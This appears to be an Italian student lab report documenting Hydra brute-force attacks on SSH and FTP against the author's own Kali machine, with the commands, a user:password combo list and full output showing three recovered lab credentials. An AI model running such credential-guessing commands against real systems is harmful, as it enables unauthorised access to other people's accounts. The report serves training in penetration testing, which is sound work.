

💡 Report Attività: Brute Force con Hydra su SSH e FTP (Kali Linux)

💻 Ambiente di lavoro

- **Sistema operativo:** Kali Linux
- **Utente creato:** test_user
- **Password iniziale:** testpass
- **Indirizzo IP locale della macchina Kali:** 192.168.1.15

2 Attacco SSH con Hydra

- **Lista utenti e password:** /home/kali/Desktop/UtentiPassword.txt
- **Comando hydra:** hydra -C /home/kali/Desktop/UtentiPassword.txt -V -t 4 ssh://192.168.1.15
- **Spiegazione comando Hydra:** si usa -C per utilizzare combo che usa un file specifico con utenti associati a determinate password per velocizzare il processo.

```
(kali㉿kali)-[~]
└─$ hydra -C /home/kali/Desktop/UtentiPassword.txt -V -t 4 ssh://192.168.1.15

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:41:21
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14 login tries, ~4 tries per task
[DATA] attacking ssh://192.168.1.15:22/
[ATTEMPT] target 192.168.1.15 - login "john" - pass "doe" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.1.15 - login "john" - pass "travolta" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.1.15 - login "msfadmin" - pass "msfadmin" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.1.15 - login "admin" - pass "password" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.1.15 - login "kali" - pass "admin" - 5 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.1.15 - login "admin" - pass "admin" - 6 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.1.15 - login "john" - pass "enigma" - 7 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.1.15 - login "john" - pass "doe" - 8 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.1.15 - login "kali" - pass "kali" - 9 of 14 [child 3] (0/0)
[22][ssh] host: 192.168.1.15 login: kali password: kali
[ATTEMPT] target 192.168.1.15 - login "anonymous" - pass "anonymous" - 10 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.1.15 - login "anonymous" - pass "anonymous" - 11 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.1.15 - login "ftp_user" - pass "ftp_password" - 12 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.1.15 - login "test_user" - pass "testpass" - 13 of 14 [child 2] (0/0)
[22][ssh] host: 192.168.1.15 login: ftp_user password: ftp_password
[ATTEMPT] target 192.168.1.15 - login "" - pass "" - 14 of 14 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.1.15 - login "test_user" - pass "testpass" - 14 of 14 [child 2] (0/0)
[RE-ATTEMPT] target 192.168.1.15 - login "" - pass "" - 14 of 14 [child 1] (0/0)
[RE-ATTEMPT] target 192.168.1.15 - login "test_user" - pass "testpass" - 14 of 14 [child 2] (0/0)
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 05:41:31

(kali㉿kali)-[~]
└─$
```

2 Attacco FTP con Hydra

- **Lista utenti e password:** /home/kali/Desktop/UtentiPassword.txt
- **Comando hydra:** hydra -C /home/kali/Desktop/UtentiPassword.txt -V -t 4
ftp://127.0.0.1
- **Spiegazione comando Hydra:** si usa -C per utilizzare combo che usa un file specifico con utenti associati a determinate password per velocizzare il processo.

```
(kali㉿kali)-[~]
$ hydra -C combo.txt -t 4 ftp://127.0.0.1

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
rvice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:03:02
[ERROR] File for colon files (login:pass) not found: combo.txt

(kali㉿kali)-[~]
$ hydra -C /home/kali/Desktop/UtentiPassword.txt -t 4 ftp://127.0.0.1

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
rvice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:04:13
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a prev
ious session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14 login tries, ~4 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[21][ftp] host: 127.0.0.1 login: kali password: kali
[21][ftp] host: 127.0.0.1 login: ftp_user password: ftp_password
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 05:04:33

(kali㉿kali)-[~]
$ hydra -C /home/kali/Desktop/UtentiPassword.txt -t -V 4 ftp://127.0.0.1

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
rvice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:05:04
[ERROR] Unknown service: ftp://127.0.0.1

(kali㉿kali)-[~]
$ hydra -C /home/kali/Desktop/UtentiPassword.txt -V -t 4 ftp://127.0.0.1

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret se
rvice organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics
anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-05-09 05:05:28
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14 login tries, ~4 tries per task
[DATA] attacking ftp://127.0.0.1:21/
[ATTEMPT] target 127.0.0.1 - login "john" - pass "doe" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "john" - pass "travolta" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "msfadmin" - pass "msfadmin" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "password" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "admin" - 5 of 14 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "admin" - pass "admin" - 6 of 14 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "john" - pass "enigma" - 7 of 14 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "john" - pass "doe" - 8 of 14 [child 3] (0/0)
[ATTEMPT] target 127.0.0.1 - login "kali" - pass "kali" - 9 of 14 [child 0] (0/0)
[ATTEMPT] target 127.0.0.1 - login "anonymous" - pass "anonymous" - 10 of 14 [child 2] (0/0)
[ATTEMPT] target 127.0.0.1 - login "anonymous" - pass "anonymous@" - 11 of 14 [child 1] (0/0)
[ATTEMPT] target 127.0.0.1 - login "ftp_user" - pass "ftp_password" - 12 of 14 [child 3] (0/0)
[21][ftp] host: 127.0.0.1 login: kali password: kali
[ATTEMPT] target 127.0.0.1 - login "test_user" - pass "testpass" - 13 of 14 [child 0] (0/0)
[21][ftp] host: 127.0.0.1 login: ftp_user password: ftp_password
[ATTEMPT] target 127.0.0.1 - login "" - pass "" - 14 of 14 [child 3] (0/0)
[21][ftp] host: 127.0.0.1 login: test_user password: testpass
1 of 1 target successfully completed, 3 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-05-09 05:05:38

(kali㉿kali)-[~]
$ sudo service ssh status
[sudo] password for kali:
● ssh.service - OpenBSD Secure Shell server
  Loaded: loaded (/usr/lib/systemd/system/ssh.service; disabled; preset: disabled)
  Active: active (running) since Fri 2025-05-09 04:10:57 EDT; 1h 4min ago
    Invocation: b5460bf9a0394adf9b495d3bed5cea2a
      Docs: man:sshd(8)
             man:sshd_config(5)
   Main PID: 5918 (sshd)
```

Risultato: tramite hydra siamo riusciti a trovare 3 user e 3 password da poter utilizzare.